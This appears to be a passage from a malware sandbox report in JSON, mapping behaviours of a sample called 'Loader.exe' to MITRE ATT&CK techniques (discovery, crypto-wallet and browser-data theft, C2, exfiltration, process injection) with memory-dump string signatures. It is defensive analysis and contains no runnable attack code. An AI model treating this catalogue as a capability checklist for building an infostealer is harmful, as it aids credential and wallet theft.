information"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Tries to enumerate objects using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"suspicious","value":"Attempts to get process information using PowerShell"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to retrieve processes (Powershell command string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Able to list processes on remote desktop session host"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Read windows product name from registry"},{"type":"suspicious","value":"Reads cryptocurrency-related registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Able to enumerate permission groups in the domain"},{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Able to enumerate service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"suspicious","value":"Calls an API typically used to find a SID for the specified name"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get handle of currently active window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move items (Powershell command string)"},{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"},{"type":"informative","value":"Able to perform archive via gzip Library"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Able to perform SQL operations"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Collection","technique":"Data from Removable Media","attack_id":"T1025","attack_id_wiki":"https://attack.mitre.org/techniques/T1025","identifiers":[{"type":"informative","value":"Able to retrieve system driver type"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal crypto wallet extension (file access)"},{"type":"malicious","value":"Tries to steal Crypto currency wallets information (file access)"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"suspicious","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"informative","value":"Contains ability to copy items (Powershell command string)"},{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Found user-agent related strings"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Dead Drop Resolver","attack_id":"T1102.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/001","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"One-Way Communication","attack_id":"T1102.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/003","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"tactic":"Exfiltration","technique":"Exfiltration to Text Storage Sites","attack_id":"T1567.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1567/003","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains possible references to Golang crypto modules"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Able to access crypto-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to stop a service (Powershell command string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Impact","technique":"Account Access Removal","attack_id":"T1531","attack_id_wiki":"https://attack.mitre.org/techniques/T1531","identifiers":[{"type":"informative","value":"Contains ability to delete a user account from a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Able to obtain instances of WMI classes using PowerShell"},{"type":"informative","value":"Contains ability to call WMI method (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"informative","value":"Contains ability to interact with Microsoft Outlook"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Persistence","technique":"BITS Jobs","attack_id":"T1197","attack_id_wiki":"https://attack.mitre.org/techniques/T1197","identifiers":[{"type":"informative","value":"Contains reference to background jobs (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Persistence","technique":"Windows Management Instrumentation Event Subscription","attack_id":"T1546.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/003","identifiers":[{"type":"informative","value":"Contains ability to create/update instances of WMI classes (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Rename Legitimate Utilities","attack_id":"T1036.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/003","identifiers":[{"type":"informative","value":"Contains ability to rename items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Clear Command History","attack_id":"T1070.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/003","identifiers":[{"type":"informative","value":"Contains ability to clear Powershell session command history (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to clear content (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Credential Access","technique":"Security Account Manager","attack_id":"T1003.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1003/002","identifiers":[{"type":"informative","value":"Able to access system credential hash file"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"Log Enumeration","attack_id":"T1654","attack_id_wiki":"https://attack.mitre.org/techniques/T1654","identifiers":[{"type":"informative","value":"Able to retrieve security-related event logs (PowerShell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Lateral Movement","technique":"Windows Remote Management","attack_id":"T1021.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/006","identifiers":[{"type":"informative","value":"Contains reference to remote powershell session activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Able to modify Remote Configuration"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Impact","technique":"Internal Defacement","attack_id":"T1491.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1491/001","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"Found string \":\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll\" (Source: \"00000000-00004092.00000001.292655.612A8000.00000004.mdmp\")\n Found string \":\\WINDOWS\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\ea893d7e336a196c927c3f1251a1d1a9\\System.Management.Automation.ni.dll\" (Source: \"00000000-00004092.00000001.292655.612A8000.00000004.mdmp\")\n Found string \"System.Management.Automation.dll\" (Source: \"00000000-00004092.00000001.292655.612A8000.00000004.mdmp\")\n Found string \"$errorRecord = [System.Management.Automation.ErrorRecord]::new($exception,\"FormatHexFileAccessError\", ([System.Management.Automation.ErrorCategory]::ReadError), $targetFilePath)\" (Source: \"00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"System.IO.Compression.ZipFile\" (Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found string \"system.io.compression\" (Source: \"00000000-00004092.00000001.292655.A51F0000.00000004.mdmp, 00000000-00004092.00000001.292655.A5220000.00000004.mdmp\")\n Found string \"compressionmode\" (Source: \"00000000-00004092.00000001.292655.A51F0000.00000004.mdmp\")\n Found string \"decompressionmethods\" (Source: \"00000000-00004092.00000001.292655.A51F0000.00000004.mdmp\")\n Found string \"compressionlevel\" (Source: \"00000000-00004092.00000001.292655.A51F0000.00000004.mdmp\")\n Found string \"compressionstrategy\" (Source: \"00000000-00004092.00000001.292655.A51F0000.00000004.mdmp\")\n Found string \"compressionmethod\" (Source: \"00000000-00004092.00000001.292655.A5220000.00000004.mdmp\")\n Found string \"compressiontracingswitchlevel\" (Source: \"00000000-00004092.00000001.292655.A5220000.00000004.mdmp\")\n Found string \"compressiontracingswitch\" (Source: \"00000000-00004092.00000001.292655.A5220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to enumerate permission groups in the domain","description":"file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-981","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Loader.exe\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"Loader.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"VirtualFree\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"VirtualAlloc\"; File: \"Loader.exe\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00007308)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00007308)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00007308)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00007308)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '3156567916545', 'hResInfo': '3156567924960'}\" (UID: 00000000-00007308)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '3156567916545', 'hResInfo': '3156567924992'}\" (UID: 00000000-00007308)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '3156567916545', 'hResInfo': '3156567925008'}\" (UID: 00000000-00007308)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '3156567916545', 'hResInfo': '3156567924976'}\" (UID: 00000000-00007308)","origin":"API 